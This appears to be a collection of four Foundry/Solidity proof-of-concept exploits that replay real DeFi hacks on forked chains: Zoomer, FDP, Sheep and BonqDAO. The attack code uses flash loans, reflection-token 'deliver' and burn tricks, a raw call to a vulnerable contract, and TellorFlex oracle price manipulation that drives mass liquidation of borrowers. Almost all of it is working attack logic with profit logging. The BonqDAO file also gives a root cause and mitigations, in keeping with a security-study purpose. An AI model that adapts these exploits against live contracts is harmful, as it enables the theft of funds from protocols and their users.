// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~14 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x06d7e7436414c658a33452d28400799f3637e83930dcec39b3bd065dabc6ef04
// Attacker : https://etherscan.io/address/0xb0380b6d7a63e7cbf274c3b3c8838abbd6bd4abe
// Attack Contract : https://etherscan.io/address/0xa4854022f4c16f0abc3fdec300427f6179a3043b
// GUY : https://x.com/ChainAegis/status/1761246415488225668

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
    IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);
    address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    Money HackContract;

    function setUp() external {
        cheats.createSelectFork("mainnet", 19_291_249);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker ETH before exploit", address(this).balance, 18);
        address[] memory tokens = new address[](1);
        tokens[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 200 ether;
        bytes memory userData = abi.encode(amounts, tokens, "test");
        Balancer.flashLoan(address(this), tokens, amounts, userData);
        emit log_named_decimal_uint("[Begin] Attacker ETH after exploit", address(this).balance, 18);
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        for (uint256 i; i < 5; ++i) {
            HackContract = new Money{value: 200 ether}();
            swap_token_to_ExactToken(Zoomer.balanceOf(address(this)), address(Zoomer), address(WETH), type(uint256).max);
        }
        WETH.transfer(address(msg.sender), 200 ether);
    }

    function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {
        IERC20(a).approve(address(Router), amountInMax);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 120);
    }

    fallback() external payable {}
}

contract Money is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
    IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);
    address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address owner;

    constructor() payable {
        owner = msg.sender;
        Attack();
    }

    function Attack() public payable {
        require(owner == msg.sender, "Error");
        swap_token_to_ExactToken(199.9 ether, address(WETH), address(Zoomer), type(uint256).max);
        Zoomer.approve(address(Vulncontract), type(uint256).max);
        address(Vulncontract).call{value: 0.02 ether}(
            abi.encodeWithSelector(bytes4(0x72c4cff6), address(Zoomer), 30_265_400 ether)
        );
        Zoomer.transfer(address(msg.sender), Zoomer.balanceOf(address(this)));
        (msg.sender).call{value: address(this).balance}("");
    }

    function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {
        IERC20(a).approve(address(Router), amountInMax);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp);
    }

    fallback() external payable {}
}

Zoomer Exploit (2024-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

// Attacker: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293
// Attack Contract: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83
// Attack Tx: https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
//            https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b

// @Analysis
// https://twitter.com/BeosinAlert/status/1622806011269771266

contract Exploit is Test {
    IWETH private constant WBNB = IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    reflectiveERC20 private constant FDP = reflectiveERC20(0x1954b6bd198c29c3ecF2D6F6bc70A4D41eA1CC07);
    IUniswapV2Pair private constant FDP_WBNB = IUniswapV2Pair(0x6db8209C3583E7Cecb01d3025c472D1eDDBE49F3);

    IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IDPPOracle private constant DPP = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);

    function testHack() external {
        vm.createSelectFork("bsc", 25_430_418);

        // flashloan 16.32 WBNB
        DPP.flashLoan(16.32 ether, 0, address(this), "0x1");
    }

    function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes calldata) external {
        // console.log("%s FDP in Pair before swap", FDP.balanceOf(address(FDP_WBNB)) / 1e18);  // putting console.log here make test fail ?

        // swap some WBNB to FDP
        WBNB.approve(address(router), type(uint256).max);
        FDP.approve(address(router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(FDP);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            16.32 ether, 0, path, address(this), type(uint256).max
        );

        console.log("%s FDP in Pair before deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
        console.log("%s FDP in attack contract before deliver", FDP.balanceOf(address(this)) / 1e18);
        console.log("-------------Delivering-------------");
        // 49925109590047580102880 in attack contract before deliver
        FDP.deliver(28_463.16 ether); // 28463162603585437380302 (8 decimals)

        console.log("%s FDP in Pair after deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
        console.log("%s FDP in attack contract after deliver", FDP.balanceOf(address(this)) / 1e18);

        FDP_WBNB.swap(
            0,
            WBNB.balanceOf(address(FDP_WBNB)) - 0.15 ether, // 32.44 ether
            address(this),
            ""
        );

        // repay
        WBNB.transfer(address(DPP), baseAmount);
        console.log("\n Attacker's profit: %s WBNB", WBNB.balanceOf(address(this)) / 1e18);
    }
}

/* -------------------- Interface -------------------- */
interface reflectiveERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function deliver(
        uint256 tAmount
    ) external;
}

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address guy, uint256 wad) external returns (bool);
    function withdraw(
        uint256 wad
    ) external;
    function balanceOf(
        address
    ) external view returns (uint256);
}

interface IDPPOracle {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address sender, bytes calldata data) external;
}

interface IRouter {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function balanceOf(
        address
    ) external view returns (uint256);
    function skim(
        address to
    ) external;
    function sync() external;
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
}

FDP Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1623999717482045440
// https://twitter.com/BlockSecTeam/status/1624077078852210691
// @TX
// https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e
// Related Events
// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token
// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token

interface RDeflationERC20 is IERC20 {
    function burn(
        uint256 amount
    ) external;
}

contract ContractTest is Test {
    RDeflationERC20 SHEEP = RDeflationERC20(0x0025B42bfc22CbbA6c02d23d4Ec2aBFcf6E014d4);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x912DCfBf1105504fB4FF8ce351BEb4d929cE9c24);
    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 25_543_755);
    }

    function testExploit() public {
        DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        WBNBToSHEEP();
        while (SHEEP.balanceOf(address(Pair)) > 2) {
            uint256 burnAmount = SHEEP.balanceOf(address(this));
            SHEEP.burn(burnAmount);
        }
        Pair.sync();
        SHEEPToWBNB();
        WBNB.transfer(dodo, 380 * 1e18);
    }

    function WBNBToSHEEP() internal {
        WBNB.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SHEEP);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    function SHEEPToWBNB() internal {
        SHEEP.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(SHEEP);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}

Sheep Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo
// Total Lost : BEUR stablecoin and ALBT token (~88MUS$)
//   |_ 100,514,098.3407 BEUR from BonqDAO protocol
//   |_ 113,813,998.3698 ALBT from BonqDAO's borrowers
// Attacker: 0xcAcf2D28B2A5309e099f0C6e8C60Ec3dDf656642
// Attack Contract: 0xed596991ac5f1aa1858da66c67f7cfa7e54b5f1

// Root cause : Price Oracle manipulation
// The Vulnerability on TellorFlex, Exploit on BonqDAO affecting the AllianceBlock token.
//   The cost of the collateral required by the TellorFlex Oracle to quote is much lower than the profit from the attacker,
//   So the attacker manipulates the wALBT price to extremely high to borrow massive amount of BEUR in Tx1
//   Then, the attacker manipulates the wALBT price to extremely low to liquidates other users wALBT CDP in Tx2.
// Potential mitigations:
//   1. Use VWAP-based Price Oracle or TWAP-based Price Oracle.
//   2. Use `getDataBefore()` to get a wALBT price that passed a sufficient dispute window

// @Info
// Attack Txs:
//   Tx1: 0x31957ecc43774d19f54d9968e95c69c882468b46860f921668f2c55fadd51b19 (for BEUR) 38792978
//   Tx2: 0xa02d0c3d16d6ee0e0b6a42c3cc91997c2b40c87d777136dedebe8ee0f47f32b1 (for ALBT) 38793029
// Vulnerable Contract Code:
//   https://polygonscan.com/address/0x8f55d884cad66b79e1a131f6bcb0e66f4fd84d5b#code#F2#L282
// Malicious Price Reporters:
//   For Tx1: 0xbaf48429b4d30bdfad488508d3b528033331fe8a
//   For Tx2: 0xb5c0ba8ed0f4fb9a31fccf84b9fb3da639a1ede5

// @Analysis
// Blocksec: https://twitter.com/BlockSecTeam/status/1621043757390123008
// Blocksec MetaSleuth: https://twitter.com/i/web/status/1621006016065474560
// PeckShield: https://twitter.com/peckshield/status/1620926816868499458
// CertiK: https://twitter.com/CertiKAlert/status/1621008399772024833
// Slowmist: https://twitter.com/SlowMist_Team/status/1621087651158966274
// Slowmist(Chinese): https://foresightnews.pro/news/detail/16843
// Omniscia: https://medium.com/@omniscia.io/bonq-protocol-incident-post-mortem-4fd79fe5c932

// @Positive-reputation
// https://explorer.forta.network/alert/0x6338aaa7df91e7136c9f494dfea2c5309dae7c1575815f015f1e9e94be6759d5

// PR welcome!

contract Attacker is Test {
    IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);
    IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);
    IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);

    Exploit exploit;

    function testExploit() public {
        // Full simulation, run Tx1 and Tx2
        vm.createSelectFork("polygon", 38_792_977);
        exploit = new Exploit();

        // Pre-works, check out: https://polygonscan.com/address/0xed596991ac5f1aa1858da66c67f7cfa76e54b5f1#tokentxns
        deal(address(TRB), address(exploit), 20e18); // just for staking purposes, we simplify to 20e18 :)
        deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);

        exploit.tx1_mintMassiveAmountOfBEUR();

        vm.roll(38_793_028);
        vm.warp(1_675_276_266);

        exploit.tx2_liquidateMassiveAmountOfALBT();

        // Print exploit result
        emit log_named_decimal_uint("[result] BEUR balance in Exploit contract", BEUR.balanceOf(address(exploit)), 18);
        emit log_named_decimal_uint("[result] wALBT balance in Exploit contract", WALBT.balanceOf(address(exploit)), 18);
    }

    function testAttackTx1() public {
        // Only run attack Tx1
        vm.createSelectFork("polygon", 38_792_977);
        exploit = new Exploit();

        deal(address(TRB), address(exploit), 10e18);
        deal(address(WALBT), address(exploit), 13.35973256272339977e18);

        exploit.tx1_mintMassiveAmountOfBEUR();

        // Print BEUR exploit result
        emit log_named_decimal_uint("[result] BEUR balance in Exploit contract", BEUR.balanceOf(address(exploit)), 18);
    }

    function testAttackTx2() public {
        // Only run attack Tx2
        vm.createSelectFork("polygon", 38_793_028);
        exploit = new Exploit();

        deal(address(TRB), address(exploit), 20e18);
        deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);
        deal(address(BEUR), address(exploit), 100_000_000e18); // profit from tx1

        exploit.tx2_liquidateMassiveAmountOfALBT();

        // Print ALBT exploit result
        emit log_named_decimal_uint("[result] wALBT balance in Exploit contract", WALBT.balanceOf(address(exploit)), 18);
    }
}

contract Exploit is Test {
    ITellorFlex constant TellorFlex = ITellorFlex(0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B);
    IOriginalTroveFactory constant BonqProxy = IOriginalTroveFactory(0x3bB7fFD08f46620beA3a9Ae7F096cF2b213768B3);
    IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);
    IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);
    IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);

    address maliciousTrove;
    address maliciousTrove2;

    function tx1_mintMassiveAmountOfBEUR() public {
        // func_0xa11ce20c
        console.log("Update wALBT price to extremely high");
        PriceReporter Reporter = new PriceReporter();
        TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
        Reporter.updatePrice(10e18, 5e27);

        console.log("Use 0.1 wALBT as collateral, borrow massive amount of BEUR");
        maliciousTrove = BonqProxy.createTrove(address(WALBT)); // attacker create a new trove
        WALBT.transfer(maliciousTrove, 0.1 * 1e18); // transfer 0.1 wALBT to trove as collateral
        ITrove(maliciousTrove).increaseCollateral(0, address(0));
        ITrove(maliciousTrove).borrow(address(this), 100_000_000e18, address(0)); // borrow 100,000,000 BEUR

        console.log("Create another trove for attack Tx2");
        maliciousTrove2 = BonqProxy.createTrove(address(WALBT));
        WALBT.transfer(maliciousTrove2, WALBT.balanceOf(address(this)));
        ITrove(maliciousTrove2).increaseCollateral(0, address(0));
    }

    function tx2_liquidateMassiveAmountOfALBT() public {
        // func_0x770344d9
        console.log("Update wALBT price to extremely low");
        PriceReporter Reporter = new PriceReporter();
        TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
        Reporter.updatePrice(10e18, 0.0000001 * 1e18);

        console.log("Get all trove addresses");
        address[] memory troves = new address[](45);
        troves[0] = BonqProxy.firstTrove(address(WALBT));
        troves[44] = BonqProxy.lastTrove(address(WALBT));
        require(troves[44] == 0x5343c5d0af82b89DF164A9e829A7102c4edB5402, "Last trove creator is not attacker"); // note: assert troves[44] is maliciousTrove2

        for (uint256 i = 1; i < troves.length; ++i) {
            // troves[1] ~ troves[44]
            troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i - 1]);
        }

        console.log("Liqudate all borrowers");
        for (uint256 i = 1; i < troves.length - 1; ++i) {
            address target = troves[i];
            require(BonqProxy.containsTrove(address(WALBT), target)); // check target exists before exploit
            uint256 debt = ITrove(target).debt();
            if (debt == 0) {
                continue; // trove no debt, pass
            }
            ITrove(target).liquidate();
        }

        console.log("Repay attacker's trove debt");
        BEUR.approve(troves[44], type(uint256).max);
        ITrove(troves[44]).repay(type(uint256).max, address(0));
        uint256 walbt_in_attacker_trove = WALBT.balanceOf(troves[44]);
        emit log_named_decimal_uint("[debug] WALBT balance in attacker's trove", walbt_in_attacker_trove, 18);

        console.log("Withdraw wALBT to Exploit contract");
        address maliciousTrove2_owner = ITrove(troves[44]).getRoleMember(keccak256("OWNER_ROLE"), 0);
        vm.prank(maliciousTrove2_owner);
        ITrove(troves[44]).decreaseCollateral(address(this), walbt_in_attacker_trove, address(0));
    }

    function updatePrice(uint256 _tokenId, uint256 _price) public {
        bytes memory queryData =
            hex"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000"; // not sure what this means
        bytes32 queryId = keccak256(queryData);
        bytes memory price = abi.encodePacked(_price);
        TRB.approve(address(TellorFlex), type(uint256).max);
        TellorFlex.depositStake(_tokenId);
        TellorFlex.submitValue(queryId, price, 0, queryData);
    }
}

contract PriceReporter is Test {
    function updatePrice(uint256 _tokenId, uint256 _price) public {
        (bool suc,) = msg.sender.delegatecall(abi.encodeWithSignature("updatePrice(uint256,uint256)", _tokenId, _price));
        require(suc, "Update price failed");
    }
}

/*---------- Interface ----------*/
interface ITellorFlex {
    event NewReport(
        bytes32 indexed _queryId,
        uint256 indexed _time,
        bytes _value,
        uint256 _nonce,
        bytes _queryData,
        address indexed _reporter
    );
    event NewStakeAmount(uint256 _newStakeAmount);
    event NewStaker(address indexed _staker, uint256 indexed _amount);
    event ReporterSlashed(address indexed _reporter, address _recipient, uint256 _slashAmount);
    event StakeWithdrawRequested(address _staker, uint256 _amount);
    event StakeWithdrawn(address _staker);
    event ValueRemoved(bytes32 _queryId, uint256 _timestamp);

    function accumulatedRewardPerShare() external view returns (uint256);
    function addStakingRewards(
        uint256 _amount
    ) external;
    function depositStake(
        uint256 _amount
    ) external;
    function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);
    function getCurrentValue(
        bytes32 _queryId
    ) external view returns (bytes memory _value);
    function getDataBefore(
        bytes32 _queryId,
        uint256 _timestamp
    ) external view returns (bool _ifRetrieve, bytes memory _value, uint256 _timestampRetrieved);
    function getGovernanceAddress() external view returns (address);
    function getIndexForDataBefore(
        bytes32 _queryId,
        uint256 _timestamp
    ) external view returns (bool _found, uint256 _index);
    function getNewValueCountbyQueryId(
        bytes32 _queryId
    ) external view returns (uint256);
    function getPendingRewardByStaker(
        address _stakerAddress
    ) external returns (uint256 _pendingReward);
    function getRealStakingRewardsBalance() external view returns (uint256);
    function getReportDetails(bytes32 _queryId, uint256 _timestamp) external view returns (address, bool);
    function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (address);
    function getReporterLastTimestamp(
        address _reporter
    ) external view returns (uint256);
    function getReportingLock() external view returns (uint256);
    function getReportsSubmittedByAddress(
        address _reporter
    ) external view returns (uint256);
    function getReportsSubmittedByAddressAndQueryId(
        address _reporter,
        bytes32 _queryId
    ) external view returns (uint256);
    function getStakeAmount() external view returns (uint256);
    function getStakerInfo(
        address _stakerAddress
    ) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool);
    function getTimeOfLastNewValue() external view returns (uint256);
    function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);
    function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index) external view returns (uint256);
    function getTokenAddress() external view returns (address);
    function getTotalStakeAmount() external view returns (uint256);
    function getTotalStakers() external view returns (uint256);
    function getTotalTimeBasedRewardsBalance() external view returns (uint256);
    function governance() external view returns (address);
    function init(
        address _governanceAddress
    ) external;
    function isInDispute(bytes32 _queryId, uint256 _timestamp) external view returns (bool);
    function minimumStakeAmount() external view returns (uint256);
    function owner() external view returns (address);
    function removeValue(bytes32 _queryId, uint256 _timestamp) external;
    function reportingLock() external view returns (uint256);
    function requestStakingWithdraw(
        uint256 _amount
    ) external;
    function retrieveData(bytes32 _queryId, uint256 _timestamp) external view returns (bytes memory);
    function rewardRate() external view returns (uint256);
    function slashReporter(address _reporter, address _recipient) external returns (uint256 _slashAmount);
    function stakeAmount() external view returns (uint256);
    function stakeAmountDollarTarget() external view returns (uint256);
    function stakingRewardsBalance() external view returns (uint256);
    function stakingTokenPriceQueryId() external view returns (bytes32);
    function submitValue(bytes32 _queryId, bytes memory _value, uint256 _nonce, bytes memory _queryData) external;
    function timeBasedReward() external view returns (uint256);
    function timeOfLastAllocation() external view returns (uint256);
    function timeOfLastNewValue() external view returns (uint256);
    function toWithdraw() external view returns (uint256);
    function token() external view returns (address);
    function totalRewardDebt() external view returns (uint256);
    function totalStakeAmount() external view returns (uint256);
    function totalStakers() external view returns (uint256);
    function updateStakeAmount() external;
    function verify() external pure returns (uint256);
    function withdrawStake() external;
}

interface IOriginalTroveFactory {
    event AdminChanged(address previousAdmin, address newAdmin);
    event BeaconUpgraded(address indexed beacon);
    event CollateralUpdate(address token, uint256 totalCollateral);
    event DebtUpdate(address collateral, uint256 totalDebt);
    event Initialized(uint8 version);
    event NewTrove(address trove, address token, address owner);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Paused(address account);
    event Redemption(
        address token,
        uint256 stableAmount,
        uint256 tokenAmount,
        uint256 stableUnspent,
        uint256 startBaseRate,
        uint256 finishBaseRate,
        address lastTroveRedeemed
    );
    event TroveCollateralUpdate(address trove, address token, uint256 newAmount, uint256 newCollateralization);
    event TroveDebtUpdate(
        address trove,
        address actor,
        address token,
        uint256 newAmount,
        uint256 baseRate,
        uint256 newCollateralization,
        uint256 feePaid
    );
    event TroveImplementationSet(address previousImplementation, address newImplementation);
    event TroveInserted(address token, address trove, address referenceTrove, bool before);
    event TroveLiquidated(
        address trove,
        address collateralToken,
        uint256 priceAtLiquidation,
        address stabilityPoolLiquidation,
        uint256 collateral
    );
    event TroveRemoved(address trove);
    event Unpaused(address account);
    event Upgraded(address indexed implementation);

    function BORROWING_RATE() external view returns (uint256);
    function DECIMAL_PRECISION() external view returns (uint256);
    function LIQUIDATION_RESERVE() external view returns (uint256);
    function MAX_BORROWING_RATE() external view returns (uint256);
    function MAX_INT() external view returns (uint256);
    function PERCENT() external view returns (uint256);
    function PERCENT10() external view returns (uint256);
    function PERCENT_05() external view returns (uint256);
    function WETHContract() external view returns (address);
    function arbitragePool() external view returns (address);
    function containsTrove(address _token, address _trove) external view returns (bool);
    function createTrove(
        address _token
    ) external returns (address trove);
    function createTroveAndBorrow(
        address _token,
        uint256 _collateralAmount,
        address _recipient,
        uint256 _borrowAmount,
        address _nextTrove
    ) external;
    function emitLiquidationEvent(
        address _token,
        address _trove,
        address stabilityPoolLiquidation,
        uint256 collateral
    ) external;
    function emitTroveCollateralUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization) external;
    function emitTroveDebtUpdate(
        address _token,
        uint256 _newAmount,
        uint256 _newCollateralization,
        uint256 _feePaid
    ) external;
    function feeRecipient() external view returns (address);
    function firstTrove(
        address _token
    ) external view returns (address);
    function getBorrowingFee(
        uint256 _amount
    ) external view returns (uint256);
    function getRedemptionAmount(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);
    function getRedemptionFee(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);
    function getRedemptionFeeRatio(
        address _trove
    ) external view returns (uint256);
    function increaseCollateralNative(address _trove, address _newNextTrove) external payable;
    function initialize(address _stableCoin, address _feeRecipient) external;
    function insertTrove(address _token, address _newNextTrove) external;
    function lastTrove(
        address _token
    ) external view returns (address);
    function liquidateTrove(address _trove, address _token) external;
    function liquidationPool(
        address _token
    ) external view returns (address);
    function name() external view returns (string memory);
    function nextTrove(address _token, address _trove) external view returns (address);
    function owner() external view returns (address);
    function paused() external view returns (bool);
    function prevTrove(address _token, address _trove) external view returns (address);
    function proxiableUUID() external view returns (bytes32);
    function redeemStableCoinForCollateral(
        address _collateralToken,
        uint256 _stableAmount,
        uint256 _maxRate,
        uint256 _lastTroveCurrentICR,
        address _lastTroveNewPositionHint
    ) external;
    function removeTrove(address _token, address _trove) external;
    function renounceOwnership() external;
    function setArbitragePool(
        address _arbitragePool
    ) external;
    function setFeeRecipient(
        address _feeRecipient
    ) external;
    function setLiquidationPool(address _token, address _liquidationPool) external;
    function setStabilityPool(
        address _stabilityPool
    ) external;
    function setTokenOwner() external;
    function setTokenPriceFeed(
        address _tokenPriceFeed
    ) external;
    function setTroveImplementation(
        address _troveImplementation
    ) external;
    function setWETH(address _WETH, address _liquidationPool) external;
    function stabilityPool() external view returns (address);
    function stableCoin() external view returns (address);
    function togglePause() external;
    function tokenCollateralization(
        address _token
    ) external view returns (uint256);
    function tokenOwner() external view returns (address);
    function tokenToPriceFeed() external view returns (address);
    function totalCollateral(
        address _token
    ) external view returns (uint256);
    function totalDebt() external view returns (uint256);
    function totalDebtForToken(
        address _token
    ) external view returns (uint256);
    function transferOwnership(
        address newOwner
    ) external;
    function transferTokenOwnerOwnership(
        address _newOwner
    ) external;
    function transferTokenOwnership(
        address _newOwner
    ) external;
    function troveCount(
        address _token
    ) external view returns (uint256);
    function troveImplementation() external view returns (address);
    function updateTotalCollateral(address _token, uint256 _amount, bool _increase) external;
    function updateTotalDebt(uint256 _amount, bool _borrow) external;
    function upgradeTo(
        address newImplementation
    ) external;
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

interface ITrove {
    event Liquidated(address trove, uint256 debt, uint256 collateral);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    function BORROWING_RATE() external view returns (uint256);
    function DECIMAL_PRECISION() external view returns (uint256);
    function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
    function LIQUIDATION_RESERVE() external view returns (uint256);
    function MAX_BORROWING_RATE() external view returns (uint256);
    function MAX_INT() external view returns (uint256);
    function OWNER_ROLE() external view returns (bytes32);
    function PERCENT() external view returns (uint256);
    function PERCENT10() external view returns (uint256);
    function PERCENT_05() external view returns (uint256);
    function TOKEN_PRECISION() external view returns (uint256);
    function addOwner(
        address _newOwner
    ) external;
    function arbitrageParticipation() external view returns (bool);
    function arbitrageState() external view returns (address arbitragePool, address apToken, uint256 lastApPrice);
    function borrow(address _recipient, uint256 _amount, address _newNextTrove) external;
    function collateral() external view returns (uint256);
    function collateralValue() external view returns (uint256);
    function collateralization() external view returns (uint256);
    function debt() external view returns (uint256);
    function decreaseCollateral(address _recipient, uint256 _amount, address _newNextTrove) external;
    function factory() external view returns (address);
    function getRoleAdmin(
        bytes32 role
    ) external view returns (bytes32);
    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
    function getRoleMemberCount(
        bytes32 role
    ) external view returns (uint256);
    function grantRole(bytes32 role, address account) external;
    function hasRole(bytes32 role, address account) external view returns (bool);
    function increaseCollateral(uint256 _amount, address _newNextTrove) external;
    function initialize(address _token, address _troveOwner) external;
    function liqTokenRateSnapshot() external view returns (uint256);
    function liquidate() external;
    function liquidationReserve() external view returns (uint256);
    function mcr() external view returns (uint256);
    function netDebt() external view returns (uint256);
    function owner() external view returns (address);
    function recordedCollateral() external view returns (uint256);
    function redeem(
        address _recipient,
        address _newNextTrove
    ) external returns (uint256 _stableAmount, uint256 _collateralRecieved);
    function removeOwner(
        address _ownerToRemove
    ) external;
    function renounceOwnership() external;
    function renounceRole(bytes32 role, address account) external;
    function repay(uint256 _amount, address _newNextTrove) external;
    function revokeRole(bytes32 role, address account) external;
    function setArbitrageParticipation(
        bool _state
    ) external;
    function supportsInterface(
        bytes4 interfaceId
    ) external view returns (bool);
    function token() external view returns (address);
    function transferOwnership(
        address _newOwner
    ) external;
    function transferToken(address _token, address _recipient) external;
    function unclaimedArbitrageReward() external view returns (uint256);
    function unclaimedCollateralRewardAndDebt() external view returns (uint256, uint256);
}

BonqDAO Exploit (2023-02)


